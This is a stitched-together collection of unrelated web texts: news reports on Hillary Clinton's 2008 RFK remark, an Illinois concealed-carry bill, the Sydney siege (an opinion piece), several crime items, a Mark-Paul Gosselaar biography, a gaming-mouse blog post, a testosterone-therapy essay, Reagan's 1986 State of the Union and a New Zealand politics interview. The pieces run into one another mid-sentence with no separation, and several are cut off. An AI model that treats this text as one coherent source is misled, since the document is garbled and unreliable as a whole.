Mrs. Clinton’s remarks were initially reported online by The New York Post, whose reporters were not traveling with the Clinton campaign but were instead watching a live video feed of the meeting with newspaper editors. Its report quickly jumped to the Drudge Report, then whipped around the Internet and on television, with outraged comments piling up on Web sites.
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Campaign aides were taken aback by the quick reaction to her remarks, but then quickly realized that Mrs. Clinton had to backpedal. She then spoke to the traveling press corps for the first time in more than a week, at a supermarket here.
“Earlier today I was discussing the Democratic primary history and in the course of that discussion mentioned the campaigns that both my husband and Senator Kennedy waged in California in June, in 1992 and 1968,” she said. “And I was referencing those to make the point that we have had nomination primary contests that go into June. That’s a historic fact.”
The remarks overshadowed a campaign trip to South Dakota in which Mrs. Clinton has increasingly been dealing with a new thematic landscape: a campaign that is more consumed by questions about its own future, rather than by Mrs. Clinton talking about issues like health care.
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During the editorial board meeting Friday, Mrs. Clinton also denied reports of any contact with the Obama camp regarding an exit strategy for her. “It’s flatly, completely untrue,” she said.
Mrs. Clinton has cited her husband’s 1992 nominating battle in discussing her decision to stay in the race. While she said that he only wrapped up the nomination in June of that year, he was viewed as having secured it in March, when his last serious opponent dropped out.
Friday was not the first time Mrs. Clinton referred to the assassination of Robert F. Kennedy in such a context. In March, she told Time magazine: “Primary contests used to last a lot longer. We all remember the great tragedy of Bobby Kennedy being assassinated in June in L.A. My husband didn’t wrap up the nomination in 1992 until June. Having a primary contest go through June is nothing particularly unusual.”
Robert F. Kennedy Jr., who has endorsed Mrs. Clinton, defended her remarks in a telephone interview on Friday evening.
“I’ve heard her make that argument before,” Mr. Kennedy said, speaking on his cellphone as he drove to the family compound in Hyannis Port, Mass. “It sounds like she was invoking a familiar historical circumstance in support of her argument for continuing her campaign.”China has announced a month-long crackdown on those who spread "illegal and harmful information" on the country's popular instant messaging services.
The State Internet Information Office said Wednesday the campaign will target those with public accounts on services such as WeChat, which has over 800 total million users.
The statement said the campaign will focus on "those spreading rumors and information related to violence, terrorism, and pornography, as well as those using instant messaging for fraud."
It did not specify what |
surprises' of the space age. MULTIMEDIA Our multimedia page explores many diverse topics, including a few not covered by the Thunderbolts Project. OUR VISITORS:Mark-Paul Harry Gosselaar (;[1] born March 1, 1974) is an American actor. He is known for his television roles as Zack Morris in Saved by the Bell, Detective John Clark in NYPD Blue, and Peter Bash in Franklin & Bash. He was the lead in the 1998 film Dead Man on Campus, and starred in the 2016 TV series Pitch. He is the lead actor in the 2018 TV series "The Passage".
Early life [ edit ]
Gosselaar was born in Panorama City, Los Angeles, the son of Paula (van den Brink), a homemaker and hostess for KLM, and Hans Gosselaar, a plant supervisor for Anheuser-Busch.[2][3] His Dutch father is of German and Dutch Jewish descent.[4] Gosselaar's Jewish paternal great-grandparents, Hertog and Hester Gosselaar, were killed at the Sobibor extermination camp during the Holocaust.[5][6] His mother, who is of Filipino and Dutch descent, is from Bali, the former Dutch East Indies, now Indonesia.[7][8][9] At one point, Gosselaar was fluent in Dutch (his older siblings were born in the Netherlands).[3][10] Gosselaar's parents later separated.[2]
Gosselaar's mother worked as his manager.[9] He began modeling at the age of 5.[2] As a child, he appeared in commercials for Oreo cookies and Smurf merchandise, and later won guest spots on television series.[11] He spent his teenage years in the Santa Clarita Valley in Southern California, where he attended Hart High School.
Career [ edit ]
Gosselaar first came to public notice as the star of the hit television comedy series Saved by the Bell, in which he played Zack Morris, and which aired on NBC from 1989 to 1993. His character was adapted from the short-lived Disney Channel sitcom Good Morning, Miss Bliss; although that show was cancelled after one season, NBC executives believed that a similar show, with Zack Morris as the series lead, had potential for success. He reprised the role in two TV movies and a less-successful spin-off, Saved by the Bell: The College Years. In 1994, he appeared as Zack Morris in a second spin-off series Saved by the Bell: The New Class in the episode "Goodbye, Bayside – Part 2", along with Mario López as A.C. Slater and Lark Voorhies as Lisa Turtle.
In 1996, he appeared in the TV-film She Cried No as a college student who date-rapes his best friend's sister at a fraternity party. In 1998, he starred in the feature film, Dead Man on Campus. Later that same year, Gosselaar played the central character in the TV drama Hyperion Bay, which lasted 17 episodes. In 2001, he starred in the movie The Princess and the Marine, with Marisol Nichols. He also starred in the short-lived WB series D.C. From 2001-05, he played Detective John Clark on ABC's NYPD Blue. After the series ended, he joined the cast of ABC's Commander in Chief, which lasted only one season. He appeared on the HBO series John from Cincinnati. He then gained the starring role of defense attorney Jerry Kellerman in the Steven Bochco-produced Raising the Bar, which debuted on September 1, 2008, on TNT, then it was canceled in November 2009 after two seasons.[12]
On June 8, 2009, Gosselaar appeared on Late Night with Jimmy Fallon in character as Zack Morris to promote his show Raising the Bar, indicating that the name Mark-Paul Gosselaar is his stage name and declaring, as Zack, that he would participate in a Saved by the Bell "Class" reunion that is being spearheaded by Fallon. He has since agreed to participate in the reunion being organized by Jimmy Fallon on Late Night with Jimmy Fallon along with four fellow castmembers to date.[13] On February 4, 2015, Gosselaar reunited with Mario Lopez, Elizabeth Berkley, Dennis Haskins and Tiffani Thiessen on The Tonight Show Starring Jimmy Fallon where they appeared in a Saved by the Bell sketch with Fallon.[14][15][16]
In October 2009, he made his Off-Broadway stage debut in Theresa Rebeck's play The Understudy with The Roundabout Theatre Company. The show extended its limited New York run until January 17, 2010.[17]
Gosselaar began filming the TNT series Franklin & Bash on March 28, 2010. The series premiered on June 1, 2011. On November 11, 2014, it was announced that the series was canceled, after four seasons.[18]
The FOX series Pitch cast Gosselaar in the main role of Mike Lawson, star catcher and team captain, in February 2016, and premiered on September 22, 2016. On May 1, 2017, it was announced that the series was canceled, after one season.[19] He appeared in 1 episode of Dinner at Tiffani's.
Personal life [ edit ]
In a July 2009 interview with People, Gosselaar revealed that when Saved By the Bell was in production, he dated, at different times, his three female co-stars: Lark Voorhies, Tiffani Thiessen and Elizabeth Berkley.[20] He remains friends with his Saved by the Bell cast mates.[7]
In 1996, Gosselaar married former model Lisa Ann Russell.[2] Together they have two children: son Michael Charles (born 2004) and daughter Ava Lorenn (born 2006).[21] After 14 years of marriage, Gosselaar and Russell announced their separation in early June 2010.[22] Gosselaar filed for divorce June 18, 2010,[23] and it became final in May 2011.[24]
Gosselaar was engaged to advertising executive Catriona McGinn in August 2011.[24] They married July 28, 2012, at the Sunstone winery in Santa Ynez, California.[25] They have a son Dekker (born 2013),[26] and a daughter Lachlyn (born 2015).[27]
Gosselaar is a sports car enthusiast, race car driver, track cyclist, dirt biker and pilot. In 2005, he competed in the Far West Championships for track cycling. He won the Category 4/5 Sprint Championship event at the Encino Velodrome.[28]
Filmography [ edit ]
Film [ edit ]
Television [ edit ]
Awards and nominations [ edit ]
Young Artist AwardLOS ANGELES, CA - MAY 17: Handguns seized during recent sweeps are shown on display at a news conference on May 17, 2013 at the Los Angeles Civic Center in Los Angeles, California. California Attorney General Kamala Harris hosted a meeting of the state's district attorneys to develop recommendations on reducing gun violance. (Photo by Kevork Djansezian/Getty Images)
UPDATE: The bill was approved by the House Judiciary Committee in a 13-3 vote Thursday. It will next be considered in a full House vote that could take place as soon as Friday.
SPRINGFIELD -- Compromise legislation to regulate the carrying of concealed weapons in Illinois would include an appointed board that has the final say on whether someone can have a license.
The latest version of a concealed-carry bill was filed Wednesday afternoon by Rep. Brandon Phelps, D-Harrisburg, and Rep. Jerry Costello II, D-Smithton. They've been pushing for a bill that doesn't have too many restrictions, and held several meetings this week with House Speaker Michael Madigan, House GOP leaders, National Rifle Association representatives and other players.
"I do believe this is a good compromise, and gives the people of the state of Illinois a good concealed-carry bill," Costello said Wednesday afternoon.
A federal appeals court ruled in December that Illinois must allow residents to carry concealed weapons. Downstate lawmakers generally favor a bill with minimal restrictions, while most Chicago-area lawmakers want tight regulations on who can carry a gun, as well as where a gun can be carried.
A previous version sponsored by Phelps and Costello fell just short of passage earlier this year in the House.
Under their new proposal, Illinois State Police would be required to issue a concealed-carry license to anyone who meets prescribed requirements. But any law enforcement agency would have the ability to object to a person's application if there is "reasonable suspicion that the applicant is a danger to self, others, or poses a public safety threat."
That's where the appointed board would come in. The Concealed Carry Licensing Board would review those objections from law enforcement agencies.
The seven-member board would consist of three members from Cook County, and four members from outside Cook County. Members would be appointed by the governor, with approval by the Senate, and must be former federal judges, federal prosecutors or federal law enforcement agents.
"If local law enforcement objects to an application, this board would vet that," Costello said. "You also would have an appeal process with them."
Other highlights of the new proposal include:
-- Carrying guns would be prohibited in a number of places, including schools, child-care facilities, playgrounds, public parks, amusement parks, airports, libraries, hospitals bars and on public transit.
Carrying on public transportation has been a sticking point. Chicago lawmakers feared gun-filled transit trains, while gun supporters argue it's not fair to deny rights to people just because they have to rely on public transportation.
-- The fee for a license, for Illinois residents, would be $150.
-- A non-resident who has a concealed-carry permit from another state could carry a weapon only in his or her vehicle while traveling in Illinois. A non-resident from a state that has substantially similar requirements as Illinois for a license could obtain a non-resident license at a cost of $300.
-- Police, doctors, mental health professionals, health facilities, nursing homes and school personnel would be required to report any person they determine poses a clear and present danger to self and others.
-- An applicant would be required to complete 16 hours of training, including exercises at a shooting range and a review of laws. Only one state requires more training. Costello said he's hopeful that part of the training will be available online.
-- Local units of government, including large municipalities that have "home rule," would not be allowed to set their own rules on carrying firearms.
Costello said there's been a lot of negotiation on the proposal.
"Making law is kind of like making sausage," he said. "There's a lot of compromise, and I guess one of the things you have to recognize is the diversity between southern Illinois and northern Illinois."
Costello said he expects a House vote on the measure Thursday. The bill is listed as a House amendment to Senate Bill 2193.
In the Senate, a Chicago-area senator has proposed a much more strict bill. For example, it would require that applicants be "of good moral character" and have a "proper reason" for carrying a gun.
The court gave legislators until June 9 to allow carrying of guns. Gun-rights supporters have said if the deadline isn't met, Illinoisans would be allowed to carry weapons in public with almost no restrictions. Gun opponents argue that if the state legislature doesn't meet the deadline, local communities could enact their own laws, which could create a hodge-podge of rules across the state.
Contact reporter Brian Brueggemann at bbrueggemann@bnd.com or 239-2511. ___
(c)2013 the Belleville News-Democrat (Belleville, Ill.)
Visit the Belleville News-Democrat (Belleville, Ill.) at www.bnd.comHey guys, so i’ve been asked what kind of input device i use for working with Cinema 4D. and well here it is. Its the Razer Naga 2014 edition. I’ve been using this one for just over a year, and had the previous version of this for about 3 years, before the right click stopped holding. So im a pretty big fan of these mice. This one as you can see has sustained some damange on the buttons, but i only noticed it now when i started taking photos 🙂 just some of the paint coming off, i guess because of all my body oils and sweat, from all the hard work i do =)
12 Extra Buttons
Originally the 12 buttons on the side where intended for gamers so they can cast spells, or whatever they do, but i find them just as handy in every day work.
for example i have the tilt of the Scroll wheel set to copy and paste, ) it can tilt right and left as well as scroll and middle click.
Then i have the top row set to Num Enter ( comes in handy in many places, but the Num one is used because in photoshop it lets you drop a transform quicker), left, right arrow keys for browsing through image galleries
Row after that is mouse button, 4,5 ( the regular back forward commands, rectangular selection in c4d, v key radial menu). 8 key is boung to F9, so i can set keyframes quickly.
Then the row at the bottom, so the Numbers 1,4,7 are mapped to F8 to play timeline in c4d ( with ctrl it does a render region), F6 top open picture viewer with ctrl.
The rest get mapped as i need them Sometimes i find myself pressing the same thing a lot. so i map that button/or command to one of the other buttons. Its pretty organic.
Acceleration
Really important feature, especially if you are working on multiple screens, or just a really big monitor. what it does basically is this: the slower you move your mouse the less it moves. But the faster you move it, the father it goes. So that way, if you need to click something small, you move your mouse slowly and its very accurate, and when you need to access something on the other side of the screen, you don’t need to do the awkward lift and move thing, you just flick it between your fingers.
Hope this was helpful, if you have any questions shoot.
Cheers,
AlekseyThe Sydney siege
16 December 2014
Without providing any justification, the Australian government yesterday seized on an isolated incident involving a deeply disturbed individual in the Sydney central business district to activate the entire “counter-terrorism” apparatus and impose a state of siege in the centre of the country’s largest city—with tragic consequences.
What would ordinarily have been dealt with as a serious, but relatively straightforward, police matter—an armed gunman taking hostages in a city café—was escalated into a major national crisis by the intervention of Prime Minister Tony Abbott, with the full support of the opposition Labor Party and the Greens, state governments and the entire media.
Abbott delivered not just one, but two, addresses to the nation, promising the government and police in the state of New South Wales (NSW) the full support of all federal agencies—police, military and intelligence. Hundreds of police, including heavily-armed paramilitary police from the Tactical Assault Team, poured into central Sydney. Buildings kilometres from the scene were locked down, transport was rerouted and police patrols were stepped up, including in Sydney suburbs, Canberra—the national capital—and other Australian cities.
No rational reason has been offered for this massive police operation. Police determined relatively quickly that the hostage-taker was Man Haron Monis, an Iranian refugee well-known to police. He had no connection to Islamic State in Iraq and Syria (ISIS), Al Qaeda or any other Islamic extremist organisation. He was a troubled individual, with a history of erratic actions, on bail for alleged involvement in the murder of his ex-wife.
Likewise, no coherent explanation has been given for the decision to storm the café in the early hours of this morning. The NSW police commissioner initially declared that officers charged into the building in response to shots heard inside, then declined to repeat his statement. The outcome is that the hostage-taker is dead, along with two innocent people—the café manager and a mother of three—and four others are injured.
From the outset, Abbott’s intervention, far from calming the situation to enable a peaceful resolution, deliberately fuelled a climate of uncertainty and fear. Amid a police blackout of what was actually taking place, the media went into overdrive, seizing on a black flag with an Arabic inscription to endlessly speculate on “terrorist” connections. TV stations shut down normal programming to provide continuous coverage of the events unfolding at the Lindt café.
The only purpose of this hysteria is to depict Australia as being a nation under siege and inflate the bogus “war on terror.” Abbott seized on the incident to manufacture a wartime atmosphere that will be exploited to justify a further escalation of the Australian involvement in US military operations—in the Middle East in particular—and police-state measures at home. Throughout the past year, Canberra has been in the forefront of the US confrontation with Russia over Ukraine, the new war in Iraq and Syria, and the Obama administration’s “pivot to Asia” and military build-up against China.
In September, police mounted the largest-ever “anti-terrorist” operation, involving more than 800 police commandos and intelligence agents in pre-dawn raids in Sydney and Brisbane. Family homes were ransacked, women and children terrorised and 15 people dragged off for interrogation. Only one person was charged with a terrorist-related offence, on highly dubious grounds.
The Abbott government latched onto the lurid claims of a plot to behead Australian citizens to justify the dispatch of military forces to Iraq and push through a new raft of anti-democratic, counter-terrorism laws. US Secretary of State John Kerry quickly seized on the supposed plot as the pretext for the US war in the Middle East, falsely telling a congressional committee that ISIS supporters had planned an “extravaganza of brutality in Australia.”
The Australian government’s actions yesterday and today are in line with the international modus operandi utilised to justify criminal wars of aggression and the build-up of the domestic police-military apparatus. The pattern was set with the 9/11 attacks, which the Bush administration exploited to declare the “war on terror” and launch invasions of Afghanistan and Iraq, along with US allies such as Australia.
In April last year, an entire American city, Boston, was placed under virtual martial law following the explosion of two bombs near the finish line of the Boston marathon. The population was ordered to remain indoors while heavily-armed police and National Guard troops, backed by armoured vehicles and helicopter gunships, occupied the streets and conducted warrantless house-to-house searches.
This October, the Canadian government responded to the killing of a soldier near the parliament building in Ottawa by locking down much of the downtown area, closing off streets and confining thousands of government workers, shoppers and tourists. Again, the actions of an isolated and disturbed individual were exploited to create a climate of fear to effect a rightward shift in foreign and domestic policy, including Canada’s involvement in US war in the Middle East.
The Abbott government is operating from the same playbook. Confronting a rapidly deepening economic crisis, it is seeking to project sharpening social tensions outward by functioning as the point man for the US war drive in Europe, the Middle East and Asia. At the same time, it mounted the Sydney siege as a dress rehearsal for the massive police operations that will in the future be directed against the working class.
Peter Symonds
Please enable JavaScript to view the comments powered by Disqus.Image copyright Google Image caption The man was found at the side of the A66 in the early hours on 13 March 2014
A man whose penis was severed during an assault has been found dead over a year after the attack.
His body was discovered at an address in King George's Terrace, South Bank, Teesside, on Thursday.
The 40-year-old was found "in a distressed state" on the A66 in Middlesbrough in the early hours of 13 March 2014 with groin wounds.
Cleveland Police said the death is not being treated as suspicious and a post-mortem examination would take place.
A 22-year-old man arrested on suspicion of assault remains on police bail.
The victim was put into an induced coma following the attack and later released from hospital.The Washtenaw County Sheriff's Office released this photo of a suspect in a peeping Tom incident that occurred at Wiard's Orchards in Ypsilanti Township on Oct. 10, 2015. (Photo: Washtenaw County Sheriff's Offic)
Washtenaw County Sheriff's deputies have arrested a man suspected of being a peeping Tom whose image was captured on a hidden camera planted inside a portable toilet.
The 45-year-old Royal Oak man was taken into custody Thursday in Ypsilanti, according to a news release from the sheriff's office. Authorities did not release his name.
Investigators received several tips after recently publishing images of a man that were on a camera discovered on Oct. 10, 2015 inside a toilet at the Wiard’s Orchards in Ypsilanti Township. The images, complete with a date stamp, appear to have been captured just moments before the camera was planted.
►Related: Accused portable-toilet peeper arrested near Ypsilanti park
The man is expected to be arraigned Saturday, according to the news release. He is being held in the Washtenaw County Jail.
Investigators are trying to determine whether the man is connected to any other similar crimes, said Washtenaw County Sheriff's Detective Lt. Jim Anuszkiewicz.
"We've arrested him on this one incident, but it's unclear to us at this point in time whether there have been other incidents that he's actually committed either inside or outside the community," he said.
Anyone with information about the case or the suspect is asked to call Washtenaw County Sheriff's Detective Craig Raisanen at 734-973-4924.
Contact staff writer Ann Zaniewski at 313-222-6594 or azaniewski@freepress.com. Follow her on Twitter: @AnnZaniewski.
Read or Share this story: http://on.freep.com/2dKX5dU1. Ray Bradbury's Golden Apples Of The Sun was originally published in 1953, and included 22 stories. This audio includes:
. The Golden Apples of the Sun
. Hail and Farewell
. The Flying Machine
. The Fruit At The Bottom Of The Bowl
. A Sound of Thunder (made into a movie)
. The Murderer
. The April Witch
. The Foghorn (Movie âBeast from 20,000 Fathomsâ was based on this story)
The Audio consists of 4 parts.
The title comes from the poem "The Song of Wandering Aengus" by W. B. Yeats
Though I am old with wandering
Through hollow lands and hilly lands,
I will find out where she has gone,
And kiss her lips and take her hands;
And walk among long dappled grass,
And pluck till time and times are done
The silver apples of the moon,
The golden apples of the sun.
Identifier GoldenApplesOfTheSunGetty Images
It's hard to pinpoint the moment I became a boring lay. Maybe it was the night my husband reached for me and I realized it would be more work to turn him down again than to have sex.
"Okay," I said, "but don't expect me to move."
I am 49, married nearly 16 years to the guy who once freed me from my blouse during a steamy make-out session in the back of a taxi. What happened since we took that ride? Let's start with four kids, ages 13, 11, 9, and 6. Throw in a move from New York City to a steadily disintegrating 1870 house in New England, add a growing pile of bills, and give my husband a job that takes him far from home. We were still having sex once, sometimes twice a week. It just wasn't very sexy:
Husband: I think we should have sex.
Me: I don't know--I'm really tired and stressed out.
Husband: That's why we should have sex!
Me: Sex gets me aroused enough that I can't fall asleep.
Husband: Aroused enough?
(Hurt silence)
Me: All right--just don't be too exciting.
Husband: Okay!
My last orgasm was like my last pedicure--I knew I had one at some point, but I couldn't remember when, and didn't expect to have another one anytime soon. My husband was eager to fix this, but my head was too crowded with the many other things we needed to fix first: our credit card debt, the black mold growing in the bathroom, my lack of sleep. Then one day it hit me that I was treating my own libido as a luxury item I couldn't afford. Why? Something had to change.
THERE'S A PRECRIPTION FOR THAT?
I called my gynecologist, wondering if she would tell me the problem was in my head, or prescribe scented candles and new lingerie. No, she told me about testosterone. Women produce testosterone just like men, she explained--it's what fuels our libido, makes us want sex. But as a woman gets older, her testosterone level drops. By her 40s, she has half the testosterone she did in her 20s. And stress triggers the release of cortisol, a hormone produced by the adrenal glands that drives testosterone even lower. Given my lackluster libido, age, and general state of aggravation, my doctor thought it safe to assume that my testosterone had plummeted, dragging my libido down with it.
Okay--I needed testosterone. "It definitely helps," she said. But to get it, I would have to venture into uncharted waters. The Food and Drug Administration has not approved any testosterone-based therapies for women. FDA-approved testosterone gels, such as Testim and AndroGel, were developed for men only. Rubbed into the skin, the gels are designed to be quickly absorbed into the circulatory system, delivering steady, man-size doses of the hormone.
There are concerns that too much testosterone may put a woman at risk for heart disease and female cancers. But recent medical research has offered encouraging indications that these worries are overblown. LibiGel, a testosterone gel for women, is now in clinical trials. In the meantime, some doctors are prescribing testosterone off-label for their female patients. But since there is no official protocol to follow, every doctor ends up doing things differently.
Mine was confident that a localized testosterone treatment would be safe for me. She wasn't a fan of the FDA-approved gels for men, which a woman typically rubs into her leg each night in a very small dose. "The gels really work to help get testosterone in the bloodstream, but you can get hair growth and acne," my doctor said. Possibly, they could make me even more irritable than I already was.
Instead, she prescribed something customized: a compound of powdered testosterone and petroleum jelly, blended to order. It sounded almost artisanal! To maximize the testosterone's effect without mainlining it into my bloodstream, my doctor instructed me to dab the ointment right on the spot that needed it the most: my apathetic vagina. "Apply it twice a day for the first two weeks, then see how you feel."
A two-second horror movie flashed through my mind, of me ramming another minivan on the school pick-up line in a fit of testosterone-fueled road rage, man-hairs bristling on my legs. But in its nondescript little white jar, my sexy-time ointment looked as harmless as Vaseline. My doctor told me to keep it in the refrigerator. I found a spot way in the back, behind some cans of frosting, which I hoped would distract any child from trying to eat it.
Eager to help out, my husband ferried the jar to and from the fridge for me all week long. By Saturday morning, he wanted to take a test-drive. I obliged--one eye on the clock so I wouldn't miss yoga, one ear out for any child about to burst through the door. Then I became aware of something stirring down below. It was as if someone were placing a call to my sexual response system and I could hear the phone ring. The next day, we woke up early and tried again. "I think it's working," my husband declared. "You moved."
OH, RIGHT, THAT'S WHAT IT'S LIKE TO WANT SEX
Over the following weeks, a warm, thrumming sensation began to build, even when I wasn't fooling around with my husband, or even in the same room with him. Suddenly, I was thinking about sex, wanting it. I was at the mall one afternoon buying a cake-pop maker when I was flooded with desire. And I hate going to the mall.
To my husband's delight, his weekly intercourse allowance doubled, then tripled. Once, I even sent him a sext. And yet: While I now wanted sex enough to have it on a school night, my desire wasn't translating into the five-star romps I'd been hoping for. Despite my husband's increasingly inspired maneuvers, orgasm was still elusive.
Was my body really just trying to tell me it didn't want sex so much anymore? I decided to ask an expert: Bat Sheva Marcus, Ph.D., the clinical director of the Medical Center for Female Sexuality in Purchase, NY. "Is your eyesight worse than it used to be?" she countered. "Do you think it's your body's way of saying it doesn't want to see anymore?"
I told Marcus about my artisanal testosterone. She was dubious: Her center prescribes only the FDA-approved male gels for women patients, but even then, she explained, testosterone can't fix everything by itself.
"Desire, arousal, and orgasm--they're three different problems," Marcus said. An empathetic, fast-talking Orthodox Jewish mother of three who wrote her dissertation on vibrators, she spent over an hour quizzing me about every aspect of my erotic history before coming to a conclusion. "Your desire is not so terrible," she said. "I think what's really important is to make you have orgasms easily."
Testosterone had revived my desire, she said, priming me for sex like a layer of base-coat paint. But for me, like a lot of women, reaching climax gets harder over time: "As you get older, your nerve endings don't work as well as they used to," she said. In the future, we could talk about therapies such as the antidepressant Wellbutrin, which raises dopamine levels in the brain ("very closely linked to arousal and orgasm"), and, yes, vibrators ("a really important sex tool that's completely undervalued").
Melissa Ferrara, a nurse practitioner, gave me a pelvic exam and drew blood to analyze my hormone levels. Until the results came back, my homework was simple: Use the testosterone and change the routine. My husband and I were to schedule time for sex one morning a week when there would be no kids around. "And this one is the no-brainer: If you don't have an orgasm with your husband, then just use your hand," Marcus said. "Your hand's right there--you're good at it!"
AM I TURNING INTO A TEENAGE BOY?
As I always tell my children, it's best to do your homework right away. My husband was home the next day; after seeing the kids off to school, we headed for bed. Once we were deep in the groove, I beat back my inhibitions and did as Marcus instructed. Bingo! At last, it all came together: desire, arousal, and orgasm.
Now I was on a roll, thanks to a blend of off-label hormones and some frank advice. In fact, I was getting a little too much of a good thing. After a month of testosterone, I felt constantly aroused, engorged even. So this is what it's like to be a teenage boy, I thought.
Then my lab results came back. My testosterone levels had skyrocketed above the normal range for women. "Am I going to grow a penis over the weekend?" I asked Michael A. Werner, M.D., the center's medical director.
"You couldn't have hurt yourself," he reassured me. Maybe the ointment was too strong. Maybe my body had absorbed it too efficiently. Either way, the excess testosterone would quickly break down once I stopped taking it. But regular blood tests are essential for any woman using testosterone, to prevent possible long-term side effects such as hair loss and high cholesterol. (At the center, patients are tested every three months.)
My little white jar went straight into lockdown in the farthest reaches of the fridge. If my libido ever needed another pick-me-up, my doctor said, she would give me a less powerful dose, titrating it down as soon as I showed a response. "You're the poster child for this working well," she said, noting that some of her patients don't respond at all. "Tell your husband to send me roses."
Testosterone plugged me back in to my sex life. My libido isn't on hyper-drive now that I'm off it, but it's a lot better to feel like a satisfied woman than a horny teenager. Craving my husband has made me feel more tender toward him, and I'm even yelling less at my kids. Who knows? I may send those roses myself.State of the Union Address
Ronald Reagan
February 4, 1986
Mr. Speaker, Mr. President, distinguished Members of the Congress, honored guests, and fellow citizens:
Thank you for allowing me to delay my address until this evening. We paused together to mourn and honor the valor of our seven Challenger heroes. And I hope that we are now ready to do what they would want us to do: Go forward, America, and reach for the stars. We will never forget those brave seven, but we shall go forward.
Mr. Speaker, before I begin my prepared remarks, may I point out that tonight marks the 10th and last State of the Union Message that you've presided over. And on behalf of the American people, I want to salute you for your service to Congress and country. Here's to you!
I have come to review with you the progress of our nation, to speak of unfinished work, and to set our sights on the future. I am pleased to report the state of our Union is stronger than a year ago and growing stronger each day. Tonight we look out on a rising America, firm of heart, united in spirit, powerful in pride and patriotism. America is on the move! But it wasn't long ago that we looked out on a different land: locked factory gates, long gasoline lines, intolerable prices, and interest rates turning the greatest country on Earth into a land of broken dreams. Government growing beyond our consent had become a lumbering giant, slamming shut the gates of opportunity, threatening to crush the very roots of our freedom. What brought America back? The American people brought us back with quiet courage and common sense, with undying faith that in this nation under God the future will be ours; for the future belongs to the free.
Tonight the American people deserve our thanks for 37 straight months of economic growth, for sunrise firms and modernized industries creating 9 million new jobs in 3 years, interest rates cut in half, inflation falling over from 12 percent in 1980 to under 4 today, and a mighty river of good works--a record $74 billion in voluntary giving just last year alone. And despite the pressures of our modern world, family and community remain the moral core of our society, guardians of our values and hopes for the future. Family and community are the costars of this great American comeback. They are why we say tonight: Private values must be at the heart of public policies.
What is true for families in America is true for America in the family of free nations. History is no captive of some inevitable force. History is made by men and women of vision and courage. Tonight freedom is on the march. The United States is the economic miracle, the model to which the world once again turns. We stand for an idea whose time is now: Only by lifting the weights from the shoulders of all can people truly prosper and can peace among all nations be secure. Teddy Roosevelt said that a nation that does great work lives forever. We have done well, but we cannot stop at the foothills when Everest beckons. It's time for America to be all that we can be.
We speak tonight of an agenda for the future, an agenda for a safer, more secure world. And we speak about the necessity for actions to steel us for the challenges of growth, trade, and security in the next decade and the year 2000. And we will do it--not by breaking faith with bedrock principles but by breaking free from failed policies. Let us begin where storm clouds loom darkest--right here in Washington, DC. This week I will send you our detailed proposals; tonight let us speak of our responsibility to redefine government's role: not to control, not to demand or command, not to contain us, but to help in times of need and, above all, to create a ladder of opportunity to full employment so that all Americans can climb toward economic power and justice on their own.
But we cannot win the race to the future shackled to a system that can't even pass a Federal budget. We cannot win that race held back by horse-and-buggy programs that waste tax dollars and squander human potential. We cannot win that race if we're swamped in a sea of red ink. Now, Mr. Speaker, you know, I know, and the American people know the Federal budget system is broken. It doesn't work. Before we leave this city, let's you and I work together to fix it, and then we can finally give the American people a balanced budget.
Members of Congress, passage of Gramm-Rudman-Hollings gives us an historic opportunity to achieve what has eluded our national leadership for decades: forcing the Federal Government to live within its means. Your schedule now requires that the budget resolution be passed by April 15th, the very day America's families have to foot the bill for the budgets that you produce. How often we read of a husband and wife both working, struggling from paycheck to paycheck to raise a family, meet a mortgage, pay their taxes and bills. And yet some in Congress say taxes must be raised. Well, I'm sorry; they're asking the wrong people to tighten their belts. It's time we reduce the Federal budget and left the family budget alone. We do not face large deficits because American families are undertaxed; we face those deficits because the Federal Government overspends.
The detailed budget |
’s now moved to the three years no fees [policy]. I hope there will be movement on a universal student allowance, and that ultimately the popularity of those things will result in the reintroduction of free tertiary education. So that’s a long-term battle that I’ve identified myself with.
“The second one, which is newer, is drug law reform. I think it’s time that we were upfront and sensible about that policy debate. I think it’s well past the time where major political parties need to feel nervous about it. It might be difficult, with this kind of core constituency that Labour and so on have but that is a case that has to be made, and the harm that’s being caused by our drug laws is enormous, and it’s particularly severe in communities which are already vulnerable and at real risk as families. So that’s another area.
“And,” she adds, reaching for a third, “it probably goes without saying, that I would always have a main policy focus on industrial relations … That will always be my first priority in terms of the mechanics of policy.”
‘It’s not exactly a particularly crazy political journey’
If it doesn’t work out with Labour, how about joining Gareth Morgan’s Opportunity Party? Harré doesn’t bite. “I think I’m with Labour now. It’s a bit like we’ve moved back to Te Atatu and I’ve got my stake here.”
So this is your last party? “Well, it’s my first party,” Harré shoots back.
“Let’s just be really clear about the chronology here. I joined Labour when I was 15. I left in 1989, along with probably a third or more of the Labour Party membership. So, you know, New Labour was Labour, actually – there was total continuity there. We formed the Alliance, and then I came back and worked with the Greens. So it’s not exactly a particularly crazy political journey. It’s actually very typical of my generation of left people that started in Labour …
“But, obviously, the big disruptive bit of it was Internet-Mana in 2014, which was four months of my life. And it was anomalous. But it was hardly showing, I think, inconsistency in terms of my politics. It was totally consistent with where I’ve always put my energy, which is into bold and innovative political projects. And I would hope to see Labour launching bold and innovative political projects.”
‘Labour need some bold, gutsy strength’
Again, Harré refuses to sugar-coat that criticism of the party she has returned to.
“Certainly in terms of the conversations I’ve been having over this time, I do think that there is a lack of appreciation within Labour – not necessarily at the senior levels, but possibly in some quarters – of their vulnerability. They’ve barely moved above 30% since 2014. That was their worst election result. And they can’t blame anyone else for that. It was a terrible campaign for Labour. I think there is a lack of appreciation about the real vulnerability of their position in the political framework.
“The Greens are going from strength to strength, it seems to me. But I’ve always felt there was a natural limit to how much public support they would win. They have to be incredibly careful about where New Zealand First may head in this election, and with the public. I think that there is every chance that there could be a significant swell of support for NZ First, given the international context, and if people don’t see Labour as providing sufficiently strong anchor leadership for a government.
“My lesson from 2014 is that New Zealanders want to have a strong, dominant anchor within the government. Even though I personally think that it is completely viable to have a much more evenly weighted coalition, I do not think the public share that view. And I do think National are able to encourage the public not to share that view. So I think Labour are in a really vulnerable position. And I think they need some real, bold, gutsy strength to move into a stronger position this year.”
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Arbeidernes Hus, headquarters of Landsorganisasjonen, Copenhagen
Evening
“No blood for dye! No blood for dye!”
